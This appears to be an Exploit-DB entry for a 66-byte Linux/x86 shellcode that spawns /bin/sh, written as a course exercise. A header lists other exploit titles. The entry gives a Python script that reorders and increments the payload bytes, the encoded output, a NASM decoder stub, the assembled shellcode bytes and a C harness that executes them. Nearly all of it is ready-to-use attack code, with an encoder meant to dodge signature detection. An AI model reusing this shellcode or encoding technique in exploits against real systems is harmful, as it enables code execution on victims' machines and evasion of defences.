8cbfa5df7f
13 changes to exploits/shellcodes HC10 HC.Server Service 10.14 - Remote Invalid Pointer Write Netperf 2.6.0 - Stack-Based Buffer Overflow Thunderbird ESR < 60.7.XXX - Type Confusion Thunderbird ESR < 60.7.XXX - 'icalmemorystrdupanddequote' Heap-Based Buffer Overflow Thunderbird ESR < 60.7.XXX - 'parser_get_next_char' Heap-Based Buffer Overflow Thunderbird ESR < 60.7.XXX - 'icalrecur_add_bydayrules' Stack-Based Buffer Overflow Exim 4.87 - 4.91 - Local Privilege Escalation Microsoft Windows - UAC Protection Bypass (Via Slui File Handler Hijack) (PowerShell) AROX School-ERP Pro - Unauthenticated Remote Command Execution (Metasploit) RedwoodHQ 2.5.5 - Authentication Bypass CleverDog Smart Camera DOG-2W / DOG-2W-V4 - Multiple Vulnerabilities Spring Security OAuth - Open Redirector Linux/x86 - Reposition + INC encoder with execve(/bin/sh) Shellcode (66 bytes)
106 lines
No EOL
3.4 KiB
Text
106 lines
No EOL
3.4 KiB
Text
# Title: Linux/x86 - Reposition + INC encoder with execve(/bin/sh) Shellcode (66 bytes)
|
|
# Author: Jonathan So
|
|
# Date: 15/06/2019
|
|
# Purpose: decode and spawn a /bin/sh shell
|
|
# Tested On: Linux kali 4.19.0-kali4-686 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) i686 GNU/Linux
|
|
# Arch: x86
|
|
# Size: 66 bytes
|
|
# Write-up Link: https://xmilkpowderx.github.io/2019-06-15-SLAEEX4/
|
|
|
|
======================================================Python Encoder======================================================
|
|
|
|
#!/usr/bin/python
|
|
#execve(/bin/sh)
|
|
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
|
|
|
|
encoded = ""
|
|
encodedP2 = ""
|
|
encoded2 = ""
|
|
encoded2P2 = ""
|
|
count = 1
|
|
|
|
print 'Encoded shellcode ...'
|
|
|
|
#Rearrange the position of shellcode and increase each of them by 1
|
|
for x in bytearray(shellcode) :
|
|
x += 1
|
|
if count % 2 != 0:
|
|
encoded += '\\x'
|
|
encoded += '%02x' % x
|
|
else:
|
|
encodedP2 += '\\x'
|
|
encodedP2 += '%02x' % x
|
|
if count % 2 != 0:
|
|
encoded2 += '0x'
|
|
encoded2 += '%02x,' % x
|
|
else:
|
|
encoded2P2 += '0x'
|
|
encoded2P2 += '%02x,' % x
|
|
count += 1
|
|
|
|
print encoded + encodedP2
|
|
print encoded2 + encoded2P2
|
|
|
|
print 'Len: %d' % len(bytearray(shellcode))
|
|
print 'Replace number to: %d' % (count/2)
|
|
|
|
======================================================Encoded Shellcode======================================================
|
|
|
|
Original: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
|
|
Encoded: \x32\x51\x30\x74\x69\x63\x6f\xe4\x8a\x54\xe2\x0c\x81\xc1\x69\x30\x69\x30\x6a\x8a\x51\xe3\x8a\xb1\xce
|
|
|
|
========================================================Decoder.nasm=========================================================
|
|
|
|
global _start
|
|
|
|
section .text
|
|
_start:
|
|
|
|
jmp short call_shellcode
|
|
decoder:
|
|
pop esi
|
|
lea edi, [esi + 13] ;half of encoded shellcode len = 25/2 = 13
|
|
xor ebx, ebx
|
|
xor ecx, ecx
|
|
mul ecx
|
|
mov edx, esp
|
|
mov cl, 13
|
|
decode: ;Rearrange the value of shellcode
|
|
mov bl, byte[esi] ;get value from esi
|
|
dec ebx ;decrease by 1
|
|
mov byte[edx + eax], bl
|
|
inc eax
|
|
mov bl, byte[edi] ;get value from edi
|
|
dec ebx ;decrease by 1
|
|
mov byte[edx + eax], bl
|
|
inc eax
|
|
inc esi
|
|
inc edi
|
|
loop decode
|
|
|
|
jmp edx
|
|
|
|
call_shellcode:
|
|
|
|
call decoder
|
|
EncodedShellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce
|
|
|
|
======================================================objdump Generated Shellcode======================================================
|
|
|
|
\xeb\x22\x5e\x8d\x7e\x0d\x31\xdb\x31\xc9\xf7\xe1\x89\xe2\xb1\x0d\x8a\x1e\x4b\x88\x1c\x02\x40\x8a\x1f\x4b\x88\x1c
|
|
\x02\x40\x46\x47\xe2\xee\xff\xe2\xe8\xd9\xff\xff\xff\x32\x51\x30\x74\x69\x63\x6f\xe4\x8a\x54\xe2\x0c\x81\xc1\x69
|
|
\x30\x69\x30\x6a\x8a\x51\xe3\x8a\xb1\xce
|
|
|
|
============================================================Proof of Concept============================================================
|
|
|
|
#include<stdio.h>
|
|
#include<string.h>
|
|
|
|
unsigned char code[] = \
|
|
"\xeb\x22\x5e\x8d\x7e\x0d\x31\xdb\x31\xc9\xf7\xe1\x89\xe2\xb1\x0d\x8a\x1e\x4b\x88\x1c\x02\x40\x8a\x1f\x4b\x88\x1c\x02\x40\x46\x47\xe2\xee\xff\xe2\xe8\xd9\xff\xff\xff\x32\x51\x30\x74\x69\x63\x6f\xe4\x8a\x54\xe2\x0c\x81\xc1\x69\x30\x69\x30\x6a\x8a\x51\xe3\x8a\xb1\xce";
|
|
|
|
int main(){
|
|
printf("Shellcode Length: %d\n", strlen(code));
|
|
int (*ret)() = (int(*)())code;
|
|
ret();
|
|
} |